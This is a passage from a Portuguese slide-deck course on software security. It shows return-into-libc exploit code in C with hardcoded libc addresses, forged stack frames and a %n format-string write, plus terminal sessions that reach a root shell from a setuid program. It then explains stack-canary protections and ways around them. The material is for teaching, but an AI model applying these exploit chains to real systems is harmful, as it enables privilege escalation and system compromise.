memset(&buffer, 'A', 352);ptr = (long*)buffer;

n = ( (&buffer[351] - strlen(SARG)) - (char*)ptr)/4;

n = n/4;

for(i = 0, j = pos - 1; i <= n; i++){ptr[j++] = SYSTEM;ptr[j++] = EXIT;ptr[j++] = sargaddr;ptr[j++] = EARG;

}

strcpy(&buffer[351] - strlen(SARG), SARG);

badfile = fopen("./badfile_ex31.bin", "w");fwrite(buffer, 1, 352, badfile);fclose(badfile);

}(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 192: (In)Segurança De Software, Quebrando Códigos

Calculando o endereço do buffer

Return-into-libc

Considerando que o buffer vulnerável tem 256 bytes, e a posição de SARG dentro do vetor é 293, conclui-se que SARG se encontra próximo ao endereço:

SARG = esp + (293-256) ± offset

Onde offset é o deslocamento da pilha, que depende de características próprias do programa.

[rafael@centos exemplos]$ ./get_espESP: 0xbffff504[rafael@centos exemplos]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 193: (In)Segurança De Software, Quebrando Códigos

O ataque falha

Return-into-libc

O offset deve ser multiplo de 4 (dword), já que a pilha segue um alinhamento de 4 bytes.

[rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `AAAA�����L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-������������L��-��������////////////////////////////////////////////////////bin/shsh: cannot open �������: No such filesh: ���P��: not found[rafael@centos worx]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 194: (In)Segurança De Software, Quebrando Códigos

Recalculando o endereço do buffer

Return-into-libc

Como o vetor de injeção é passado através de argumento da linha de comando, o valor da pilha se altera porque argv[1] é armazenado na mesma.

[rafael@centos worx]$ ../get_esp `cat badfile_ex31.bin `ESP: 0xbffff3a4[rafael@centos worx]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 195: (In)Segurança De Software, Quebrando Códigos

Badfile

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 196: (In)Segurança De Software, Quebrando Códigos

A exploração

Return-into-libc

Dessa vez com o valor de ESP considerando argv[1].

[rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `AAAA�����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � �������L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � �����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � ���L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � �L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭������������L귭� � � � � � � � � � � � L귭� � � � � � � � ////////////////////////////////////////////////////bin/shsh-3.2$ exitexit[rafael@centos worx]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 197: (In)Segurança De Software, Quebrando Códigos

O bash

Return-into-libc

Na maioria dos sistema atuais /bin/sh é um link simbólico para /bin/bash.

[rafael@centos worx]# cp /bin/sh /bin/sh.back[rafael@centos worx]# rm /bin/sh[rafael@centos worx]# ln -s /bin/bash /bin/sh[rafael@centos worx]#

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 198: (In)Segurança De Software, Quebrando Códigos

O bash

Return-into-libc

Setando o programa como suid root.

[rafael@centos worx]# chown root return_into_libc_ex3[rafael@centos worx]# chmod a+s return_into_libc_ex3[rafael@centos worx]# exit[rafael@centos worx]$ ./exploit_return_into_libc_ex3 -7 2[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `AAAA�����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � �������L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � �����L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � ���L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � �L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭� � � � � � � � � � � � L귭������������L귭� � � � � � � � � � � � L귭� � � � � � � � ////////////////////////////////////////////////////bin/shsh-3.2$ iduid=500(rafael) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unconfined_tsh-3.2$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 199: (In)Segurança De Software, Quebrando Códigos

O bash

Return-into-libc

O bash possui um mecanismo de proteção. Retorna um shell de acordo com o uid e não com o euid.

O euid do programa vulnerável é 0 (root) porém o uid é 500 (rafael).

Basta então setarmos o uid para 0, através de setuid(0). Isso é possível pois o processo está rodando com permissão de root.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 200: (In)Segurança De Software, Quebrando Códigos

Limitação

Return-into-libc

variáveis locais EBP anterior arg1retaddr

system

exit

EBP anterior arg1retaddrvariáveis locais

variáveis locais EBP anterior arg1retaddr

setuid

vetor de injeção

0xdefaced... setuid system ? ptr “/bin/sh” 0xffffffff

...buffer retaddr ... ...

função vulnerável

...

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 201: (In)Segurança De Software, Quebrando Códigos

Mas como chamar setuid(), system() e exit()?

É impossível! O argumento para setuid coincidiria com o endereço de exit.

Limitação

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 202: (In)Segurança De Software, Quebrando Códigos

Return-into-libc

O código de epílogo nos programas modernos é formado por duas instruções: leave e ret.

A primeira retoma o frame de pilha da função chamadora.

A segunda retorna o fluxo do programa para a instrução seguinte à que chamou a função atual.

Código de epílogo

; instruções executadas por leavemov esp, ebppop ebp

; instrução executada por retpop eip

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 203: (In)Segurança De Software, Quebrando Códigos

Endereço de leave e ret

Return-into-libc

[rafael@centos worx]$ objdump -S return_into_libc_ex3 | grep leave804830e: c9 leave8048421: c9 leave8048450: c9 leave8048576: c9 leave[rafael@centos worx]$

Posições de memória onde há uma instrução leave.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 204: (In)Segurança De Software, Quebrando Códigos

Return-into-libcFalsificando frames

; área de texto; código do programa

0x08048450 <func+44>: leave0x08048451 <func+45>: ret

vetor de injeção

system

0x08048450

ptr “/bin/sh”

setuid

0x080484500x00

exit

0x080484500xffffffff

buffer

...

...

...

...

retaddr

...

...

EBP anterior

...

...

...

...

função vulnerável

ebp 1

ebp setuid

ebp 2ebp system

ebp 3ebp exit

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 205: (In)Segurança De Software, Quebrando Códigos

A função vulnerável vai copiar o valor em ebp 1 para o ebp, em seguida vai retornar para setuid.

O código de prólogo então vai criar um frame da função e vai sobrescrever o endereço de setuid com o endereço do ebp 2. Ao terminar o ebp 2 será restaurado e a função retorna para 0x08048450.

leave vai copiar o valor de ebp 2 para ebp e então retorna para system.

Falsificando frames

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 206: (In)Segurança De Software, Quebrando Códigos

Limitação

Return-into-libc

Se a função vulnerável (caso em questão) trabalhar com manipulação de strings, não se pode injetar um 0x00 (NULL), pois isso terminaria a operação com a string e não seria possível injetar mais nenhum byte no buffer.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 207: (In)Segurança De Software, Quebrando Códigos

Return-into-libcEscrevendo na memória

; área de texto; código do programa

0x08048450 <func+44>: leave0x08048451 <func+45>: ret

função vulnerávelbuffer

...

...

...

...

retaddr......

EBP anterior

...

...

...

...

...

...

...

...

vetor de injeção

system0x08048450ptr “/bin/sh”

setuid0x08048450

0xffffffff

exit0x08048450

0xffffffff

0x08048450ptr “%n”

printf

ebp 2ebp setuid

ebp 3ebp system

ebp 4ebp exit

ebp 1 ebp printf

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 208: (In)Segurança De Software, Quebrando Códigos

Escrevendo na memória

Return-into-libc

Um frame para printf é criado para poder alterar um endereço de memória através da tag de formato %n.

Basta passar como argumento de %n o endereço do argumento para setuid, o qual será sobrescrito com 0x00000000.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 209: (In)Segurança De Software, Quebrando Códigos

Planejamento

Return-into-libc

Para executar esse ataque é necessária a injeção de uma string de formato (“%n”) e de um shell (“/bin/sh”), que precisam ser armazenados em endereços conhecidos.

É preciso conhecer o endereço do buffer na memória, para poder falsificar os frames de pilha.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 210: (In)Segurança De Software, Quebrando Códigos

Planejamento

Return-into-libc

Para esse caso, pode-se injetar as strings em variáveis de ambiente.

A técnica abaixo é usada para aumentar a chance de acerto.

[rafael@centos exemplos]$ export SH=//////////////////////////////////////////////////////////////////////////////////////////////////////bin/sh[rafael@centos exemplo]$ export STR=%n[rafael@centos exemplo]$ export STR=$STR`perl -e 'print “%08p”x100'`[rafael@centos exemplo]$ ./get_env SHO endereço de SH é 0xbffffd56[rafael@centos exemplos]$ ./get_env STRO endereço de STR é 0xbffffaa1

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 211: (In)Segurança De Software, Quebrando Códigos

Código do exploit

Return-into-libc

#define PRINTF 0xb7ebfc10#define SETUID 0xb7f13c60#define SYSTEM 0xb7eafa90#define EXIT 0xb7ea4ce0

#define LEAVERET 0x08048450

#define PARGADDR 0xbffffaa1 - 34#define SUIDARG 0xffffffff#define SARGADDR 0xbffffd56#define EARG 0xffffffff

#define ESP 0xbffff1a4 +20

int main(int argc, char **argv){FILE *badfile;long *ptr;unsigned int bufaddr;char buffer[336];

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 212: (In)Segurança De Software, Quebrando Códigos

Código do exploit

Return-into-libc

If(argc != 2){fprintf(stderr, "uso: %s <ret> \n", argv[0]);return 1;

}

bufaddr = ESP + atoi(argv[1]);

memset(&buffer, 'A', 336);ptr = (long*)(buffer+256);

*ptr++ = bufaddr; //ebp setuid*ptr++ = PRINTF; //call printf*ptr++ = LEAVERET; //printf retaddr*ptr++ = PARGADDR; // "%n"*ptr++ = bufaddr+12; //endereço a ser nulificado

*ptr++ = bufaddr+16; //ebp system*ptr++ = SETUID; //call setuid*ptr++ = LEAVERET; //setuid retaddr*ptr++ = SUIDARG; //argumento para setuid(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 213: (In)Segurança De Software, Quebrando Códigos

Código do exploit

Return-into-libc

*ptr++ = bufaddr+32; //ebp exit*ptr++ = SYSTEM; //call system*ptr++ = LEAVERET; //system retaddr*ptr++ = SARGADDR; // "/bin/bash"

*ptr++ = bufaddr+48; //terminamos aqui*ptr++ = EXIT; //ebp exit*ptr++ = 0xdefaced; //system retaddr*ptr++ = EARG; //argumento para exit

buffer[335] = '\0';

badfile = fopen("./badfile_ex32.bin", "w");fwrite(buffer, 1, 336, badfile);fclose(badfile);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 214: (In)Segurança De Software, Quebrando Códigos

Vetor de injeção

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 215: (In)Segurança De Software, Quebrando Códigos

Planejamento

Return-into-libc

O valor de esp tem que ser calculado considerando o vetor de injeção em argv[1].

O endereço de ebp 2 é calculado: es p + (276-256) ± offs et

[rafael@centos exemplos]$ ./get_esp `cat badfile_ex32.bin `ESP: 0xbffff1a4[rafael@centos exemplos]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 216: (In)Segurança De Software, Quebrando Códigos

Planejamento

Return-into-libc

Usa-se a saída de printf e a de system para localizar exatamente o endereço de SH e STR. Tentativas também são feitas para descobrir o offset.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 217: (In)Segurança De Software, Quebrando Códigos

Planejamento

Return-into-libc

[rafael@centos worx]$ ./exploit_return_into_libc_ex32 -28[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex32.bin `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�������P�������������`<��P�������������P�V��������L����sh-3.2# iduid=0(root) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unconfined_tsh-3.2# exitexit0xbffff1ac0xb7f13c600x8048450 (nil)0xbffff1bc0xb7eafa900x80484500xbffffd560xbffff1cc0xb7ea4ce00xdefaced0xffffffff0x414141410x414141410x414141 (nil)0x80482640xb7fcfff40x80484d00x80483700xbffff2180xab4381790x852c9569 (nil) (nil) (nil)0xb7ff60900xb7e8c5ad0xb7ffeff40x0000020x8048370 (nil)0x80483910x80484520x0000020xbffff2440x80484d00x80484c00xb7ff0f500xbffff23c0xb7ffbaaa0x0000020xbffff3a70xbffff3be (nil)0xbffff50e0xbffff5300xbffff5430xbffff57a0xbfffF58a0xbffff5950xbffff5e50xbffff6200xbffff6320xbffff6460xbffff6520xbffffa7b0xbffffc120xbffffc380xbffFfc680xbffffc990xbffffca90xbffffcf60xbffffd160xbffffd310xbffffda10xbffffdba0xbffffdcb0xbffffde30xbfffFdf80xbffffe130xbffffe2a0xbffffe320xbffffe440xbffffe700xbffffe7f0xbffffebb0xbfffff1d0xbfffff3d0xbfffff4a0xbfffff570xbfffff790xbfffff8f0xbfffffa80xbfffffcc (nil)0x0000200xb7ffd4200x0000210xb7ffd0000x0000100x78bf3bf0x0000060x0010000x0000110x0000640x0000030x80480340x0000040x000020[rafael@centos worx]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 218: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 219: (In)Segurança De Software, Quebrando Códigos

Definição

Stack Protector

Consiste no posicionamento de um valor (canary) na stack, de modo que quando ocorrer um overflow esse valor seja alterado.

No retorno da função esse valor é comparado ao valor original, e caso seja diferente o programa termina.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 220: (In)Segurança De Software, Quebrando Códigos

Código de partida

Stack Protector

char *func1(char *args[], int *len){char *ptrstr;int i;char buf[256];strcpy(buf, args[0]);i = 1;while(args[i] != NULL){

strcat(buf, " ");strcat(buf, args[i]);i++;

}*len = strlen(buf);ptrstr = (char*)malloc((*len) + 1);if(ptrstr == NULL){

perror("func1");exit(1);

}strcpy(ptrstr, buf);return ptrstr;

}(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 221: (In)Segurança De Software, Quebrando Códigos

Código de partida

Stack Protector

int func(char *args[]){unsigned int len;char *str;

str = func1(args, &len);

printf("Argumentos concatenados possuem %u bytes:\n", len);printf("%s\n", str);

}

int main(int argc, char *argv[]){

if(argc < 2){fprintf(stderr, "uso %s <arg1> <arg2> ... <argn>\n", argv[0]);return 1;

}

func(&argv[1]);}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 222: (In)Segurança De Software, Quebrando Códigos

Retaddr protegido

Stack Protector

O canary é colocado entre o ebp salvo e o endereço de retorno.

Com esse método, o endereço de retorno fica protegido.

[rafael@centos stack protector]$ gcc -c stack_protector_ex2.s[rafael@centos stack protector]$ gcc -o stack_protector_ex2 stack_protector_ex2.o[rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x272'`stack overflow detectadoSaindo...[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 223: (In)Segurança De Software, Quebrando Códigos

Retaddr protegido

Stack Protector

func1:; prólogopushl $0xaabbccddpushl %ebpmovl %esp, %ebppushl %edisubl $292, %esp

; epílogoaddl $292, %esppopl %edipopl %ebppopl %ebxxor $0xaabbccdd, %ebxje .stack_okcall stack_check_fail

.stack_ok:ret

buf

retaddr

args

len

$0xaabbccdd

i

edi salvo

ebp salvo

ptrstredi é salvo na pilha porque é usado na função.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 224: (In)Segurança De Software, Quebrando Códigos

Problema

Stack Protector

Variáveis locais do tipo ponteiro ainda podem ser sobrescritas, de modo que se possa ler ou gravar em qualquer lugar na memória.

Com isso, pode-se sobrescrever a GOT, dtors, e ponteiros de função.

[rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x268'`Argumentos concatenados possuem 160575496 bytes:0� (3ÿ��Segmentation fault[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 225: (In)Segurança De Software, Quebrando Códigos

Reordenamento de variáveis

Stack Protector

Variáveis locais são reordenadas a fim de que buffers fiquem em posições mais altas de memória, impossibilitando que ocorra overflow de outras variáveis.

[rafael@centos stack protector]$ gcc -c stack_protector_ex3.s[rafael@centos stack protector]$ gcc -o stack_protector_ex3 stack_protector_ex3.o[rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x264'`stack overflow detectadosaindo...[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 226: (In)Segurança De Software, Quebrando Códigos

Reordenamento de variáveis

Stack Protector

buf

retaddr

args

len

$0xaabbccdd

i

edi salvo

ebp salvo

ptrstr; strcpy(buf, args[0]movl 12(%ebp), %eaxmovl (%eax), %eaxmovl %eax, 4(%esp)leal -260(%ebp), %eaxmovl %eax, (%esp)call strcpy

; i = 1movl $1, -264(%ebp)

; if(ptrstr == NULL)cmpl $0, -268(%ebp)

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 227: (In)Segurança De Software, Quebrando Códigos

Problema

Stack Protector

Argumentos do tipo ponteiro não são protegidos, o que gera um brecha para ataques.

[rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x272'`Segmentation fault[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 228: (In)Segurança De Software, Quebrando Códigos

Cópia de argumentos

Stack Protector

Argumentos da função são copiados para o topo da pilha, assim, se os originais forem sobrescritos, o programa não será afetado, pois utiliza uma cópia segura dos mesmos.

[rafael@centos stack protector]$ gcc -c stack_protector_ex4.s[rafael@centos stack protector]$ gcc -o stack_protector_ex4 stack_protector_ex4.o[rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x272'`stack overflow detectadosaindo...[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 229: (In)Segurança De Software, Quebrando Códigos

Cópia de argumentos

Stack Protector

; copiando argumentossubl $300, %espmovl 12(%ebp), %eaxmovl %eax, -272(%ebp)movl 16(%ebp), %eaxmovl %eax, -276(%ebp)

; strcpy(buf, args[0])movl -272(%ebp), %eaxmovl (%eax), %eaxmovl %eax, 4(%esp)leal -260(%ebp), %eaxmovl %eax, (%esp)call strcpy

; malloc((*len)+1)movl -276(%ebp), %eaxmovl (%eax), %eaxaddl $1, %eaxmovl %eax, (%esp)call malloc

buf

retaddr

args

len

$0xaabbccdd

i

edi salvo

ebp salvo

ptrstr

args

len

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 230: (In)Segurança De Software, Quebrando Códigos

Problema

Stack Protector

O ebp salvo ainda pode ser sobrescrito possibilitando a falsificação do frame de pilha da função chamadora, de modo que as variáveis e argumentos da mesma possam ser controladas.

Não é necessário ganhar o controle de um ponteiro, qualquer variável pode ser usada, basta setarmos o ebp para o endereço da GOT.

[rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x260'`Argumentos concatenados possuem 1094795585 bytes:Segmentation fault[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 231: (In)Segurança De Software, Quebrando Códigos

Protegendo o frame de pilha

Stack Protector

O canary é colocado entre as variáeis locais e o ebp salvo de modo a detectar qualquer alteração em seu valor.

[rafael@centos stack protector]$ gcc -c stack_protector_ex5.s[rafael@centos stack protector]$ gcc -o stack_protector_ex5 stack_protector_ex5.o[rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x264'`stack overflow detectadosaindo...[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 232: (In)Segurança De Software, Quebrando Códigos

Protegendo o frame de pilha

Stack Protector

buf

retaddr

args

len

ebp salvo

i

$0xaabbccdd

edi salvo

ptrstr

args

len; prólogofunc1:pushl %ebpmovl %esp, %ebppushl %edisubl $304, %espmovl 8(%ebp), %eaxmovl %eax, -276(%ebp)movl 12(%ebp), %eaxmovl %eax, -280(%ebp)movl $0xaabbccdd, -8(%ebp)

; epílogomovl -8(%ebp), %ebxxor $0xaabbccdd, %ebxje .stack_okcall stack_check_fail.stack_ok:addl $304, %esppopl %edipopl %ebpret

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 233: (In)Segurança De Software, Quebrando Códigos

Problema

Stack Protector

Como o canary é um valor conhecido, pode-se passar um vetor de injeção fazendo com que o valor do canary fique intacto.

Com isso, o teste de validação da integridade da stack não vai detectar o overflow, e o payload, pode então, ganhar o controle do eip.

[rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x256 . “\xdd\xcc\xbb\xaa” . “A”x8' `Illegal instruction[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 234: (In)Segurança De Software, Quebrando Códigos

Estado da arte

Stack Protector

Estudos desenvolvidos em torno das técnicas de ataque levaram à criação de um mecanismo difícil de ser contornado.

Conta com proteção do endereço de retorno, proteção das variáveis locais, proteção dos argumentos, e proteção do ebp salvo.

O canary é randomizado de modo que não seja facilmente predizível.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 235: (In)Segurança De Software, Quebrando Códigos

Estado da arte

Stack Protector

void func(char *str){char buf[8];int a, b;char buf2[8];long c;

printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);

strcpy(buf, str); }

int main(int argc, char *argv[]){

if(argc != 2){fprintf(stderr, "uso %s <param>\n"

, argv[0]);return 1;

}

func(argv[1]);

printf("fim\n");}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 236: (In)Segurança De Software, Quebrando Códigos

Proteção desabilitada

Stack Protector

[rafael@centos stack protector]$ gcc -o stack_protector_ex61 stack_protector_ex6.c[rafael@centos stack protector]$ ./stack_protector_ex61 AAAABBBBCCCCDDDDstr = 0xbfffe7f0buf = 0xbfffe7e0a = 0xbfffe7dcb = 0xbfffe7d8buf2 = 0xbfffe7d0c = 0xbfffe7ccSegmentation fault[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 237: (In)Segurança De Software, Quebrando Códigos

Proteção habilitada

Stack Protector

[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex62 stack_protector_ex6.c[rafael@centos stack protector]$ ./stack_protector_ex62 AAAABBBBCCCCDDDDstr = 0xbfffe7c4buf = 0xbfffe7dca = 0xbfffe7d0b = 0xbfffe7ccbuf2 = 0xbfffe7d4c = 0xbfffe7c8*** stack smashing detected ***: ./stack_protector_ex62 terminatedAborted[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 238: (In)Segurança De Software, Quebrando Códigos

A proteção

Stack Protector

Valor é comparado ao original no retorno da função e caso sejam diferentes o overflow é detectado e o programa termina.

ebp

retaddr

str

buf

buf2

b

a

c

stack protector ativado

ebp

retaddr

str

buf

buf2

b

a

c

str

canary

stack protector desativado

; prólogopush %ebpmov %esp,%ebpsub $0x38,%espmov 0x8(%ebp),%eaxmov %eax,-0x24(%ebp)mov %gs:0x14,%eaxmov %eax,-0x4(%ebp)

;epílogomov -0x4(%ebp),%eaxxor %gs:0x14,%eaxje 0x8048530 <func+172>call 0x804838c <__stack_chk_fail@plt>leave ret

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 239: (In)Segurança De Software, Quebrando Códigos

Problema

Stack Protector

Atrapalha no desempenho do programa.

Proteção aplicada somente à arrays de char.

Array de char deve possuir no mínimo 8 bytes para que a proteção seja aplicada.

Array de char deve possuir no mínimo 8 bytes para que seja reordenado.

Variáveis de structs não são reordenadas.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 240: (In)Segurança De Software, Quebrando Códigos

Arrays de não-chars

Stack Protector

void func(char *str){int buf[8];int a, b;int buf2[8];long c;

printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);

printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);

}

int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");

}

[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex7 stack_protector_ex7.c[rafael@centos stack protector]$ ./stack_protector_ex7str = 0xbfffe810buf = 0xbfffe7dca = 0xbfffe804b = 0xbfffe800buf2 = 0xbfffe7bcc = 0xbfffe7fcfim[rafael@centos stack protector]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 241: (In)Segurança De Software, Quebrando Códigos

Stack ProtectorArrays de não-chars

; prólogopush %ebpmov %esp,%ebpsub $0x58,%esp

;epílogoleave ret

ebp

retaddr

str

buf2

b

a

c

buf

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 242: (In)Segurança De Software, Quebrando Códigos

Stack Protector

void func(char *str){char buf[7];int a, b;char buf2[7];long c;

printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);

printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);

}

int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");

}

